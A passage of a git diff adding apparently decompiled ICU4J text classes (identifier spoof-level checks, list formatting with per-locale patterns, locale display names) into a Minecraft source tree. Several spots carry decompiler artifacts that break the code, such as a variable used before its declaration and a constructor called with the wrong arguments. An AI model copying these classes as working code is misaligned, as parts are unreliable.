+  public static int compare(UCharacterIterator s1, UCharacterIterator s2, int options)
+    throws StringPrepParseException
+  {
+    if ((s1 == null) || (s2 == null)) {
+      throw new IllegalArgumentException("One of the source buffers is null");
+    }
+    return IDNA2003.compare(s1.getText(), s2.getText(), options);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/IdentifierInfo.java b/src/minecraft/com/ibm/icu/text/IdentifierInfo.java
new file mode 100644
index 0000000..f448357
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/IdentifierInfo.java
@@ -0,0 +1,446 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.lang.UCharacter;
+import com.ibm.icu.lang.UScript;
+import java.util.BitSet;
+import java.util.Comparator;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Set;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/**
+ * @deprecated
+ */
+public class IdentifierInfo
+{
+  private static final UnicodeSet ASCII = new UnicodeSet(0, 127).freeze();
+  
+  private String identifier;
+  private final BitSet requiredScripts = new BitSet();
+  private final Set<BitSet> scriptSetSet = new HashSet();
+  private final BitSet commonAmongAlternates = new BitSet();
+  private final UnicodeSet numerics = new UnicodeSet();
+  private final UnicodeSet identifierProfile = new UnicodeSet(0, 1114111);
+  
+
+
+  /**
+   * @deprecated
+   */
+  public IdentifierInfo() {}
+  
+
+
+  private IdentifierInfo clear()
+  {
+    requiredScripts.clear();
+    scriptSetSet.clear();
+    numerics.clear();
+    commonAmongAlternates.clear();
+    return this;
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public IdentifierInfo setIdentifierProfile(UnicodeSet identifierProfile)
+  {
+    this.identifierProfile.set(identifierProfile);
+    return this;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public UnicodeSet getIdentifierProfile()
+  {
+    return new UnicodeSet(identifierProfile);
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public IdentifierInfo setIdentifier(String identifier)
+  {
+    this.identifier = identifier;
+    clear();
+    BitSet scriptsForCP = new BitSet();
+    
+    for (int i = 0; i < identifier.length(); i += Character.charCount(i)) {
+      int cp = Character.codePointAt(identifier, i);
+      
+      if (UCharacter.getType(cp) == 9)
+      {
+        numerics.add(cp - UCharacter.getNumericValue(cp));
+      }
+      UScript.getScriptExtensions(cp, scriptsForCP);
+      scriptsForCP.clear(0);
+      scriptsForCP.clear(1);
+      
+
+
+
+      switch (scriptsForCP.cardinality()) {
+      case 0: 
+        break;
+      case 1: 
+        requiredScripts.or(scriptsForCP);
+        break;
+      default: 
+        if ((!requiredScripts.intersects(scriptsForCP)) && (scriptSetSet.add(scriptsForCP)))
+        {
+          scriptsForCP = new BitSet();
+        }
+        
+        break;
+      }
+      
+    }
+    
+    Iterator<BitSet> it;
+    if (scriptSetSet.size() > 0) {
+      commonAmongAlternates.set(0, 159);
+      for (it = scriptSetSet.iterator(); it.hasNext();) {
+        next = (BitSet)it.next();
+        
+        if (requiredScripts.intersects(next)) {
+          it.remove();
+        }
+        else {
+          commonAmongAlternates.and(next);
+          for (BitSet other : scriptSetSet)
+            if ((next != other) && (contains(next, other))) {
+              it.remove();
+              break;
+            }
+        }
+      }
+    }
+    BitSet next;
+    if (scriptSetSet.size() == 0) {
+      commonAmongAlternates.clear();
+    }
+    return this;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public String getIdentifier()
+  {
+    return identifier;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public BitSet getScripts()
+  {
+    return (BitSet)requiredScripts.clone();
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public Set<BitSet> getAlternates()
+  {
+    Set<BitSet> result = new HashSet();
+    for (BitSet item : scriptSetSet) {
+      result.add((BitSet)item.clone());
+    }
+    return result;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public UnicodeSet getNumerics()
+  {
+    return new UnicodeSet(numerics);
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public BitSet getCommonAmongAlternates()
+  {
+    return (BitSet)commonAmongAlternates.clone();
+  }
+  
+
+
+  private static final BitSet JAPANESE = set(new BitSet(), new int[] { 25, 17, 20, 22 });
+  
+  private static final BitSet CHINESE = set(new BitSet(), new int[] { 25, 17, 5 });
+  private static final BitSet KOREAN = set(new BitSet(), new int[] { 25, 17, 18 });
+  private static final BitSet CONFUSABLE_WITH_LATIN = set(new BitSet(), new int[] { 8, 14, 6 });
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public SpoofChecker.RestrictionLevel getRestrictionLevel()
+  {
+    if ((!identifierProfile.containsAll(identifier)) || (getNumerics().size() > 1)) {
+      return SpoofChecker.RestrictionLevel.UNRESTRICTIVE;
+    }
+    if (ASCII.containsAll(identifier)) {
+      return SpoofChecker.RestrictionLevel.ASCII;
+    }
+    
+
+
+
+
+
+
+    int cardinalityPlus = requiredScripts.cardinality() + (commonAmongAlternates.cardinality() == 0 ? scriptSetSet.size() : 1);
+    if (cardinalityPlus < 2) {
+      return SpoofChecker.RestrictionLevel.HIGHLY_RESTRICTIVE;
+    }
+    if ((containsWithAlternates(JAPANESE, requiredScripts)) || (containsWithAlternates(CHINESE, requiredScripts)) || (containsWithAlternates(KOREAN, requiredScripts)))
+    {
+      return SpoofChecker.RestrictionLevel.HIGHLY_RESTRICTIVE;
+    }
+    if ((cardinalityPlus == 2) && (requiredScripts.get(25)) && (!requiredScripts.intersects(CONFUSABLE_WITH_LATIN))) {
+      return SpoofChecker.RestrictionLevel.MODERATELY_RESTRICTIVE;
+    }
+    return SpoofChecker.RestrictionLevel.MINIMALLY_RESTRICTIVE;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public int getScriptCount()
+  {
+    int count = requiredScripts.cardinality() + (commonAmongAlternates.cardinality() == 0 ? scriptSetSet.size() : 1);
+    
+    return count;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public String toString()
+  {
+    return identifier + ", " + identifierProfile.toPattern(false) + ", " + getRestrictionLevel() + ", " + displayScripts(requiredScripts) + ", " + displayAlternates(scriptSetSet) + ", " + numerics.toPattern(false);
+  }
+  
+
+  private boolean containsWithAlternates(BitSet container, BitSet containee)
+  {
+    if (!contains(container, containee)) {
+      return false;
+    }
+    for (BitSet alternatives : scriptSetSet) {
+      if (!container.intersects(alternatives)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static String displayAlternates(Set<BitSet> alternates)
+  {
+    if (alternates.size() == 0) {
+      return "";
+    }
+    StringBuilder result = new StringBuilder();
+    
+    Set<BitSet> sorted = new TreeSet(BITSET_COMPARATOR);
+    sorted.addAll(alternates);
+    for (BitSet item : sorted) {
+      if (result.length() != 0) {
+        result.append("; ");
+      }
+      result.append(displayScripts(item));
+    }
+    return result.toString();
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public static final Comparator<BitSet> BITSET_COMPARATOR = new Comparator()
+  {
+    public int compare(BitSet arg0, BitSet arg1) {
+      int diff = arg0.cardinality() - arg1.cardinality();
+      if (diff != 0) return diff;
+      int i0 = arg0.nextSetBit(0);
+      int i1 = arg1.nextSetBit(0);
+      while (((diff = i0 - i1) == 0) && (i0 > 0)) {
+        i0 = arg0.nextSetBit(i0 + 1);
+        i1 = arg1.nextSetBit(i1 + 1);
+      }
+      return diff;
+    }
+  };
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static String displayScripts(BitSet scripts)
+  {
+    StringBuilder result = new StringBuilder();
+    for (int i = scripts.nextSetBit(0); i >= 0; i = scripts.nextSetBit(i + 1)) {
+      if (result.length() != 0) {
+        result.append(' ');
+      }
+      result.append(UScript.getShortName(i));
+    }
+    return result.toString();
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static BitSet parseScripts(String scriptsString)
+  {
+    BitSet result = new BitSet();
+    for (String item : scriptsString.trim().split(",?\\s+")) {
+      if (item.length() != 0) {
+        result.set(UScript.getCodeFromName(item));
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static Set<BitSet> parseAlternates(String scriptsSetString)
+  {
+    Set<BitSet> result = new HashSet();
+    for (String item : scriptsSetString.trim().split("\\s*;\\s*")) {
+      if (item.length() != 0) {
+        result.add(parseScripts(item));
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static final boolean contains(BitSet container, BitSet containee)
+  {
+    for (int i = containee.nextSetBit(0); i >= 0; i = containee.nextSetBit(i + 1)) {
+      if (!container.get(i)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static final BitSet set(BitSet bitset, int... values)
+  {
+    for (int value : values) {
+      bitset.set(value);
+    }
+    return bitset;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/IntegralPartSubstitution.java b/src/minecraft/com/ibm/icu/text/IntegralPartSubstitution.java
new file mode 100644
index 0000000..625aa16
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/IntegralPartSubstitution.java
@@ -0,0 +1,1154 @@
+package com.ibm.icu.text;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class IntegralPartSubstitution
+  extends NFSubstitution
+{
+  IntegralPartSubstitution(int pos, NFRuleSet ruleSet, RuleBasedNumberFormat formatter, String description)
+  {
+    super(pos, ruleSet, formatter, description);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public long transformNumber(long number)
+  {
+    return number;
+  }
+  
+
+
+
+
+  public double transformNumber(double number)
+  {
+    return Math.floor(number);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public double composeRuleValue(double newRuleValue, double oldRuleValue)
+  {
+    return newRuleValue + oldRuleValue;
+  }
+  
+
+
+
+
+
+  public double calcUpperBound(double oldUpperBound)
+  {
+    return Double.MAX_VALUE;
+  }
+  
+
+
+
+
+
+
+
+  char tokenChar()
+  {
+    return '<';
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/LanguageBreakEngine.java b/src/minecraft/com/ibm/icu/text/LanguageBreakEngine.java
new file mode 100644
index 0000000..e63f824
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/LanguageBreakEngine.java
@@ -0,0 +1,11 @@
+package com.ibm.icu.text;
+
+import java.text.CharacterIterator;
+import java.util.Stack;
+
+abstract interface LanguageBreakEngine
+{
+  public abstract boolean handles(int paramInt1, int paramInt2);
+  
+  public abstract int findBreaks(CharacterIterator paramCharacterIterator, int paramInt1, int paramInt2, boolean paramBoolean, int paramInt3, Stack<Integer> paramStack);
+}
diff --git a/src/minecraft/com/ibm/icu/text/ListFormatter.java b/src/minecraft/com/ibm/icu/text/ListFormatter.java
new file mode 100644
index 0000000..59e5cd2
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/ListFormatter.java
@@ -0,0 +1,191 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUCache;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.SimpleCache;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import com.ibm.icu.util.UResourceBundle;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Locale;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ListFormatter
+{
+  private final String two;
+  private final String start;
+  private final String middle;
+  private final String end;
+  
+  public ListFormatter(String two, String start, String middle, String end)
+  {
+    this.two = two;
+    this.start = start;
+    this.middle = middle;
+    this.end = end;
+  }
+  
+
+
+
+
+
+
+
+
+  public static ListFormatter getInstance(ULocale locale)
+  {
+    return cache.get(locale);
+  }
+  
+
+
+
+
+
+
+
+
+  public static ListFormatter getInstance(Locale locale)
+  {
+    return getInstance(ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+  public static ListFormatter getInstance()
+  {
+    return getInstance(ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+
+  public String format(Object... items)
+  {
+    return format(Arrays.asList(items));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public String format(Collection<?> items)
+  {
+    Iterator<?> it = items.iterator();
+    int count = items.size();
+    switch (count) {
+    case 0: 
+      return "";
+    case 1: 
+      return it.next().toString();
+    case 2: 
+      return format2(two, it.next(), it.next());
+    }
+    String result = it.next().toString();
+    result = format2(start, result, it.next());
+    for (count -= 3; count > 0; count--) {
+      result = format2(middle, result, it.next());
+    }
+    return format2(end, result, it.next());
+  }
+  
+  private String format2(String pattern, Object a, Object b) {
+    int i0 = pattern.indexOf("{0}");
+    int i1 = pattern.indexOf("{1}");
+    if ((i0 < 0) || (i1 < 0)) {
+      throw new IllegalArgumentException("Missing {0} or {1} in pattern " + pattern);
+    }
+    if (i0 < i1) {
+      return pattern.substring(0, i0) + a + pattern.substring(i0 + 3, i1) + b + pattern.substring(i1 + 3);
+    }
+    return pattern.substring(0, i1) + b + pattern.substring(i1 + 3, i0) + a + pattern.substring(i0 + 3);
+  }
+  
+
+
+
+
+
+
+  static Map<ULocale, ListFormatter> localeToData = new HashMap();
+  
+  static void add(String locale, String... data) { localeToData.put(new ULocale(locale), new ListFormatter(data[0], data[1], data[2], data[3])); }
+  
+  private static class Cache
+  {
+    private final ICUCache<ULocale, ListFormatter> cache = new SimpleCache();
+    
+    private Cache() {}
+    
+    public ListFormatter get(ULocale locale) { ListFormatter result = (ListFormatter)cache.get(locale);
+      if (result == null) {
+        result = load(locale);
+        cache.put(locale, result);
+      }
+      return result;
+    }
+    
+    private static ListFormatter load(ULocale ulocale) {
+      ICUResourceBundle r = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", ulocale);
+      
+      r = r.getWithFallback("listPattern/standard");
+      return new ListFormatter(r.getWithFallback("2").getString(), r.getWithFallback("start").getString(), r.getWithFallback("middle").getString(), r.getWithFallback("end").getString());
+    }
+  }
+  
+
+
+
+
+  static Cache cache = new Cache(null);
+}
diff --git a/src/minecraft/com/ibm/icu/text/ListFormatterData.java b/src/minecraft/com/ibm/icu/text/ListFormatterData.java
new file mode 100644
index 0000000..3813153
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/ListFormatterData.java
@@ -0,0 +1,84 @@
+package com.ibm.icu.text;
+
+
+class ListFormatterData
+{
+  ListFormatterData() {}
+  
+
+  static void load()
+  {
+    ListFormatter.add("af", new String[] { "{0} en {1}", "{0}, {1}", "{0}, {1}", "{0} en {1}" });
+    ListFormatter.add("am", new String[] { "{0} እና {1}", "{0}, {1}", "{0}, {1}", "{0}, እና {1}" });
+    ListFormatter.add("ar", new String[] { "{0} و {1}", "{0}، {1}", "{0}، {1}", "{0}، و {1}" });
+    ListFormatter.add("bg", new String[] { "{0} и {1}", "{0}, {1}", "{0}, {1}", "{0} и {1}" });
+    ListFormatter.add("bn", new String[] { "{0} এবং {1}", "{0}, {1}", "{0}, {1}", "{0}, এবং {1}" });
+    ListFormatter.add("bs", new String[] { "{0} i {1}", "{0}, {1}", "{0}, {1}", "{0} i {1}" });
+    ListFormatter.add("ca", new String[] { "{0} i {1}", "{0}, {1}", "{0}, {1}", "{0} i {1}" });
+    ListFormatter.add("cs", new String[] { "{0} a {1}", "{0}, {1}", "{0}, {1}", "{0} a {1}" });
+    ListFormatter.add("da", new String[] { "{0} og {1}", "{0}, {1}", "{0}, {1}", "{0} og {1}" });
+    ListFormatter.add("de", new String[] { "{0} und {1}", "{0}, {1}", "{0}, {1}", "{0} und {1}" });
+    ListFormatter.add("ee", new String[] { "{0} kple {1}", "{0}, {1}", "{0}, {1}", "{0}, kple {1}" });
+    ListFormatter.add("el", new String[] { "{0} και {1}", "{0}, {1}", "{0}, {1}", "{0} και {1}" });
+    ListFormatter.add("en", new String[] { "{0} and {1}", "{0}, {1}", "{0}, {1}", "{0}, and {1}" });
+    ListFormatter.add("es", new String[] { "{0} y {1}", "{0}, {1}", "{0}, {1}", "{0} y {1}" });
+    ListFormatter.add("et", new String[] { "{0} ja {1}", "{0}, {1}", "{0}, {1}", "{0} ja {1}" });
+    ListFormatter.add("eu", new String[] { "{0} eta {1}", "{0}, {1}", "{0}, {1}", "{0} eta {1}" });
+    ListFormatter.add("fa", new String[] { "{0} و {1}", "{0}،‏ {1}", "{0}،‏ {1}", "{0}، و {1}" });
+    ListFormatter.add("fi", new String[] { "{0} ja {1}", "{0}, {1}", "{0}, {1}", "{0} ja {1}" });
+    ListFormatter.add("fil", new String[] { "{0} at {1}", "{0}, {1}", "{0}, {1}", "{0} at {1}" });
+    ListFormatter.add("fo", new String[] { "{0} og {1}", "{0}, {1}", "{0}, {1}", "{0} og {1}" });
+    ListFormatter.add("fr", new String[] { "{0} et {1}", "{0}, {1}", "{0}, {1}", "{0} et {1}" });
+    ListFormatter.add("fur", new String[] { "{0} e {1}", "{0}, {1}", "{0}, {1}", "{0} e {1}" });
+    ListFormatter.add("gd", new String[] { "{0} agus {1}", "{0}, {1}", "{0}, {1}", "{0}, agus {1}" });
+    ListFormatter.add("gl", new String[] { "{0} e {1}", "{0}, {1}", "{0}, {1}", "{0} e {1}" });
+    ListFormatter.add("gsw", new String[] { "{0} und {1}", "{0}, {1}", "{0}, {1}", "{0} und {1}" });
+    ListFormatter.add("gu", new String[] { "{0} અને {1}", "{0}, {1}", "{0}, {1}", "{0} અને {1}" });
+    ListFormatter.add("he", new String[] { "{0} ו-{1}", "{0}, {1}", "{0}, {1}", "{0} ו-{1}" });
+    ListFormatter.add("hi", new String[] { "{0} और {1}", "{0}, {1}", "{0}, {1}", "{0}, और {1}" });
+    ListFormatter.add("hr", new String[] { "{0} i {1}", "{0}, {1}", "{0}, {1}", "{0} i {1}" });
+    ListFormatter.add("hu", new String[] { "{0} és {1}", "{0}, {1}", "{0}, {1}", "{0} és {1}" });
+    ListFormatter.add("id", new String[] { "{0} dan {1}", "{0}, {1}", "{0}, {1}", "{0}, dan {1}" });
+    ListFormatter.add("is", new String[] { "{0} og {1}", "{0}, {1}", "{0}, {1}", "{0} og {1}" });
+    ListFormatter.add("it", new String[] { "{0} e {1}", "{0}, {1}", "{0}, {1}", "{0}, e {1}" });
+    ListFormatter.add("ja", new String[] { "{0}、{1}", "{0}、{1}", "{0}、{1}", "{0}、{1}" });
+    ListFormatter.add("ka", new String[] { "{0} და {1}", "{0}, {1}", "{0}, {1}", "{0} და {1}" });
+    ListFormatter.add("kea", new String[] { "{0} y {1}", "{0}, {1}", "{0}, {1}", "{0} y {1}" });
+    ListFormatter.add("kl", new String[] { "{0} aamma {1}", "{0} aamma {1}", "{0}, {1}", "{0}, {1}" });
+    ListFormatter.add("kn", new String[] { "{0} ಮತ್ತು {1}", "{0}, {1}", "{0}, {1}", "{0}, ಮತ್ತು {1}" });
+    ListFormatter.add("ko", new String[] { "{0} 및 {1}", "{0}, {1}", "{0}, {1}", "{0} 및 {1}" });
+    ListFormatter.add("ksh", new String[] { "{0} un {1}", "{0}, {1}", "{0}, {1}", "{0} un {1}" });
+    ListFormatter.add("lt", new String[] { "{0} ir {1}", "{0}, {1}", "{0}, {1}", "{0} ir {1}" });
+    ListFormatter.add("lv", new String[] { "{0} un {1}", "{0}, {1}", "{0}, {1}", "{0} un {1}" });
+    ListFormatter.add("ml", new String[] { "{0} കൂടാതെ {1}", "{0}, {1}", "{0}, {1}", "{0}, {1} എന്നിവ" });
+    ListFormatter.add("mr", new String[] { "{0} आणि {1}", "{0}, {1}", "{0}, {1}", "{0} आणि {1}" });
+    ListFormatter.add("ms", new String[] { "{0} dan {1}", "{0}, {1}", "{0}, {1}", "{0}, dan {1}" });
+    ListFormatter.add("nb", new String[] { "{0} og {1}", "{0}, {1}", "{0}, {1}", "{0} og {1}" });
+    ListFormatter.add("nl", new String[] { "{0} en {1}", "{0}, {1}", "{0}, {1}", "{0} en {1}" });
+    ListFormatter.add("nn", new String[] { "{0} og {1}", "{0}, {1}", "{0}, {1}", "{0} og {1}" });
+    ListFormatter.add("pl", new String[] { "{0} i {1}", "{0}; {1}", "{0}; {1}", "{0} i {1}" });
+    ListFormatter.add("pt", new String[] { "{0} e {1}", "{0}, {1}", "{0}, {1}", "{0} e {1}" });
+    ListFormatter.add("ro", new String[] { "{0} şi {1}", "{0}, {1}", "{0}, {1}", "{0} şi {1}" });
+    ListFormatter.add("", new String[] { "{0}, {1}", "{0}, {1}", "{0}, {1}", "{0}, {1}" });
+    ListFormatter.add("ru", new String[] { "{0} и {1}", "{0}, {1}", "{0}, {1}", "{0} и {1}" });
+    ListFormatter.add("se", new String[] { "{0} ja {1}", "{0}, {1}", "{0}, {1}", "{0} ja {1}" });
+    ListFormatter.add("sk", new String[] { "{0} a {1}", "{0}, {1}", "{0}, {1}", "{0} a {1}" });
+    ListFormatter.add("sl", new String[] { "{0} in {1}", "{0}, {1}", "{0}, {1}", "{0} in {1}" });
+    ListFormatter.add("sr", new String[] { "{0} и {1}", "{0}, {1}", "{0}, {1}", "{0} и {1}" });
+    ListFormatter.add("sr_Cyrl", new String[] { "{0} и {1}", "{0}, {1}", "{0}, {1}", "{0} и {1}" });
+    ListFormatter.add("sr_Latn", new String[] { "{0} i {1}", "{0}, {1}", "{0}, {1}", "{0} i {1}" });
+    ListFormatter.add("sv", new String[] { "{0} och {1}", "{0}, {1}", "{0}, {1}", "{0} och {1}" });
+    ListFormatter.add("sw", new String[] { "{0} na {1}", "{0}, {1}", "{0}, {1}", "{0}, na {1}" });
+    ListFormatter.add("ta", new String[] { "{0} மற்றும் {1}", "{0}, {1}", "{0}, {1}", "{0} மற்றும் {1}" });
+    ListFormatter.add("te", new String[] { "{0} మరియు {1}", "{0}, {1}", "{0}, {1}", "{0} మరియు {1}" });
+    ListFormatter.add("th", new String[] { "{0}และ{1}", "{0} {1}", "{0} {1}", "{0} และ{1}" });
+    ListFormatter.add("tr", new String[] { "{0} ve {1}", "{0}, {1}", "{0}, {1}", "{0} ve {1}" });
+    ListFormatter.add("uk", new String[] { "{0} та {1}", "{0}, {1}", "{0}, {1}", "{0} та {1}" });
+    ListFormatter.add("ur", new String[] { "{0} اور {1}", "{0}، {1}", "{0}، {1}", "{0}، اور {1}" });
+    ListFormatter.add("vi", new String[] { "{0} và {1}", "{0}, {1}", "{0}, {1}", "{0} và {1}" });
+    ListFormatter.add("wae", new String[] { "{0} und {1}", "{0}, {1}", "{0}, {1}", "{0} und {1}" });
+    ListFormatter.add("zh", new String[] { "{0}和{1}", "{0}、{1}", "{0}、{1}", "{0}和{1}" });
+    ListFormatter.add("zh", new String[] { "{0}和{1}", "{0}、{1}", "{0}、{1}", "{0}和{1}" });
+    ListFormatter.add("zu", new String[] { "I-{0} ne-{1}", "{0}, {1}", "{0}, {1}", "{0}, no-{1}" });
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/LocaleDisplayNames.java b/src/minecraft/com/ibm/icu/text/LocaleDisplayNames.java
new file mode 100644
index 0000000..edee8c8
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/LocaleDisplayNames.java
@@ -0,0 +1,171 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.LocaleDisplayNamesImpl;
+import com.ibm.icu.util.ULocale;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class LocaleDisplayNames
+{
+  public static enum DialectHandling
+  {
+    STANDARD_NAMES, 
+    
+
+
+
+
+    DIALECT_NAMES;
+    
+
+
+
+    private DialectHandling() {}
+  }
+  
+
+
+  public static LocaleDisplayNames getInstance(ULocale locale)
+  {
+    return getInstance(locale, DialectHandling.STANDARD_NAMES);
+  }
+  
+
+
+
+
+
+
+
+  public static LocaleDisplayNames getInstance(ULocale locale, DialectHandling dialectHandling)
+  {
+    return LocaleDisplayNamesImpl.getInstance(locale, dialectHandling);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static LocaleDisplayNames getInstance(ULocale locale, DisplayContext... contexts)
+  {
+    return LocaleDisplayNamesImpl.getInstance(locale, contexts);
+  }
+  
+
+
+
+
+
+
+
+  public abstract ULocale getLocale();
+  
+
+
+
+
+
+
+  public abstract DialectHandling getDialectHandling();
+  
+
+
+
+
+
+
+  public abstract DisplayContext getContext(DisplayContext.Type paramType);
+  
+
+
+
+
+
+
+  public abstract String localeDisplayName(ULocale paramULocale);
+  
+
+
+
+
+
+
+  public abstract String localeDisplayName(Locale paramLocale);
+  
+
+
+
+
+
+
+  public abstract String localeDisplayName(String paramString);
+  
+
+
+
+
+
+
+  public abstract String languageDisplayName(String paramString);
+  
+
+
+
+
+
+
+  public abstract String scriptDisplayName(String paramString);
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public String scriptDisplayNameInContext(String script)
+  {
+    return scriptDisplayName(script);
+  }
+  
+  public abstract String scriptDisplayName(int paramInt);
+  
+  public abstract String regionDisplayName(String paramString);
+  
+  public abstract String variantDisplayName(String paramString);
+  
+  public abstract String keyDisplayName(String paramString);
+  
+  public abstract String keyValueDisplayName(String paramString1, String paramString2);
+  
+  /**
+   * @deprecated
+   */
+  protected LocaleDisplayNames() {}
+}
